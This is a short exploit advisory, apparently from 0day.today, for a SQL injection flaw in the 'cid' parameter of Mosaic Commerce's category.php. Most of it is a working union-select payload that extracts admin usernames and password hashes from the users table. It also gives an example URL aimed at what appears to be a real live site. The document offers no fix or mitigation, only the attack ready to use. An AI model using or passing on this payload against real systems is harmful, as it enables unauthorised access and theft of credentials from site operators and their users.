Mosaic Commerce (category.php cid) SQL Injection Vulnerability

==============================================================
Mosaic Commerce (category.php cid) SQL Injection Vulnerability
==============================================================


Mosaic Commerce SQL Injection Vulnerability
Discovered By Ali 
Mazandaran University Of Science And Technology
Network Security Research Center
Babol, Iran
 
 
  {SQL BUG}
  /mosaic-path/category.php?cid=[SQL]
 
  Exploit For Get Admin Username And Password Hash:
  category.php?cid=-12/**/union/**/select/**/1,concat(users_name,0x3a,users_password),3/**/from/**/users/*
 

Example:

http://www.coppermax.com/category.php?cid=-12/**/union/**/select/**/1,concat(users_name,0x3a,users_password),3/**/from/**/users/*



#  0day.today [2018-03-05]  #